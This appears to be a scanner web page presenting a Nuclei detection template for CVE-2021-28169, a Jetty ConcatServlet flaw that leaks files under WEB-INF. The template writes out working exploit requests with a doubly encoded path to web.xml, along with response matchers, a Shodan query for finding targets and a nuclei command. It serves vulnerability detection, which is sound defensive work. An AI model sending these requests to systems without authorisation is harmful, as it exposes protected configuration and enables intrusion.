Eclipse Jetty ConcatServlet - Information Disclosure

mediumseverity

5.3CVSS score

78.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.

Fix

Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/static?/%2557EB-INF/web.xml ; GET {{BaseURL}}/concat?/%2557EB-INF/web.xml
Positive when: contains in header "application/xml" AND contains "</web-app>" and "java.sun.com" AND status 200

Run it with nuclei: nuclei -id CVE-2021-28169 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-28169

info:
  name: Eclipse Jetty ConcatServlet - Information Disclosure
  author: pikpikcu
  severity: medium
  description: |
    Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure.  Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/sec715/status/1406787963569065988
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
    - https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
    - https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28169
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.7848
    epss-percentile: 0.99589
    cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,jetty,eclipse,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"

      - type: word
        part: body
        words:
          - "</web-app>"
          - "java.sun.com"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from